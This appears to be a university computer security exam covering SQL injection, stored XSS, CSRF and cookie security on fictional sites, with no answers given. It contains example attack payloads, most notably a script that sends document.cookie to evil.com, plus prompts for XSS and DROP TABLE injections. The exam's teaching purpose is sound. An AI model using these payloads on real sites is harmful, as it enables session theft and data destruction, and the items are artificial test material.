Q1 *SQL Injection* (20 points)

CS 161 students are using a modified version of Piazza to discuss project questions! In this version, the names and profile pictures of the students who answer questions frequently are listed on a side panel on the website.

The server stores a table of users with the following schema:

```
CREATE TABLE users (
    First TEXT,              -- First name of the user.
    Last TEXT,               -- Last name of the user.
    ProfilePicture TEXT,     -- URL of the image.
    FrequentPoster BOOLEAN, -- Are they a frequent poster?
);
```

Q1.1 (3 points) Assume that you are a frequent poster. When playing around with your account, you notice that you can set your profile picture URL to the following, and your image on the frequent poster panel grows wider than everyone else's photos:

ProfilePicture URL: `https://cs161.org/evan.jpg" width="1000`

Frequent posters


Evan Bot


Coda Bot


Pinto Bot

What kind of vulnerability might this indicate on Piazza's website?

- ○ Stored XSS
- ○ Reflected XSS
- ○ CSRF
- ○ Path traversal attack
- ○ Buffer overflow

Q1.2 (3 points) Provide a malicious image URL that causes the JavaScript `alert(1)` to run for any browser that loads the frequent poster panel. Assume all relevant defenses are disabled.

Hint: Recall that image tags are typically formatted as `<img src="image.png">`.

Q1.3 (4 points) Suppose your account is not a frequent poster, but you still want to conduct an attack through the frequent posters panel!

When a user creates an account on Piazza, the server runs the following code:

```
query := fmt.Sprintf("
    INSERT INTO users (First, Last, ProfilePicture, FrequentPoster)
        VALUES ('%s', '%s', '%s', FALSE);
    ",
    first, last, profilePicture)
db.Exec(query)
```

Provide an input for `profilePicture` that would cause your malicious script to run the next time a user loads the frequent posters panel. You may reference `PAYLOAD` as your malicious image URL from earlier, and you may include `PAYLOAD` as part of a larger input.

Q1.4 (4 points) Instead of injecting a malicious script, you want to conduct a DoS attack on Piazza! Provide an input for `profilePicture` that would cause the SQL statement `DROP TABLE users` to be executed by the server.

Suppose that session cookies are used to authenticate to Piazza. This token is checked whenever the user sends a request to Piazza.

Clarification during exam: "Your malicious script" refers to your exploit in 7.2.

Q1.5 (3 points) Your malicious script submits a GET request to the Piazza website that marks "helpful!" on one of your comments. Does the same-origin policy defend against this attack?

- ○ Yes, because the same-origin policy prevents the script from making the request
- ○ Yes, because the script runs with the origin of the attacker's website
- ○ No, because the same-origin policy does not block any requests from being made
- ○ No, because the script runs with the origin of Piazza's website

Q1.6 (3 points) Your malicious script submits a GET request to the Piazza website that marks "helpful!" on one of your comments. Does enabling CSRF tokens defend against this attack?

- ○ Yes, because the attacker does not know the value of the CSRF token
- ○ Yes, because the script runs with the origin of the attacker's website
- ○ No, because GET requests do not change the state of the server
- ○ No, because the script runs with the origin of Piazza's website

Q2 *Cookie Crumbling* **(21 points)**

Alice and Eve both have accounts on EvanBook. EvanBook is a social media website that allows users to make posts. Those posts are stored on EvanBook servers.

Q2.1 (2 points) Eve makes an EvanBook post with the contents:

```
<script src="http://evanmail.com/something.js"></script>
```

Assume EvanBook does not check user inputs. If Alice opens Eve's post, what happens?

- ○ The JavaScript in `something.js` runs with the origin of `evanbook.com`.
- ○ The JavaScript in `something.js` runs with the origin of `evanmail.com`.
- ○ The JavaScript in `something.js` does not run.

Q2.2 (3 points) Which of the following statements is true about Alice opening Eve's post? Select all that apply.

- ☐ Alice's browser is able to make a request to `evanmail.com/something.js` without being blocked
- ☐ If EvanBook sanitized all JavaScript input, Alice's browser would not run `something.js`.
- ☐ If EvanBook sanitized all HTML input, Alice's browser would not run `something.js`.
- ☐ None of the above

Q2.3 (3 points) Eve makes an EvanBook post with the contents:

```
<script src="http://evanbook.com/resetPassword?password=123"></script>
```

The `resetPassword` endpoint makes a request that sets the currently logged-in user's password to the "password" query parameter input.

Assume EvanBook does not check user inputs. When Alice opens Eve's post, which attack has Eve executed?

- ○ Stored XSS
- ○ CSRF
- ○ None of the above
- ○ Reflected XSS
- ○ SQL injection

Q2.4 (6 points) Eve makes an EvanBook post with the contents:

```
<script>fetch("http://evil.com/store?token=" + document.cookie)</script>
```

`http://evil.com/store` is a page controlled by Eve that takes in URL query parameters, and stores those URL query parameters in the database of the website.

Assume EvanBook does not check user inputs. If Alice opens Eve's post, which of these cookies gets sent to `evil.com`? Select all that apply.

- ☐ Domain = `evil.com`, Path = `/`, HTTPOnly = True, Secure = False
- ☐ Domain = `evil.com`, Path = `/store`, HTTPOnly = False, Secure = False
- ☐ Domain = `evil.com`, Path = `/store`, HTTPOnly = True, Secure = True
- ☐ Domain = `evanbook.com`, Path = `/`, HTTPOnly = True, Secure = False
- ☐ Domain = `evanbook.com`, Path = `/`, HTTPOnly = False, Secure = False
- ☐ Domain = `evanbook.com`, Path = `/`, HTTPOnly = False, Secure = True
- ☐ None of the above

Q2.5 (3 points) Which attack has Eve executed?

- ○ Stored XSS
- ○ CSRF
- ○ None of the above
- ○ Reflected XSS
- ○ SQL injection

Q2.6 (4 points) To log into EvanBook, you must go through authentication on `login.evanbook.com`, and set a cookie to keep track of your authenticated status.

The session token cookie should be secure against network attackers, and should get sent to as many pages on `evanbook.com` as possible.

If the attribute could be set to any value, select or write "Doesn't matter."

Domain

Path

Secure

○ `True` ○ `False` ○ Doesn't matter

HttpOnly

○ `True` ○ `False` ○ Doesn't matter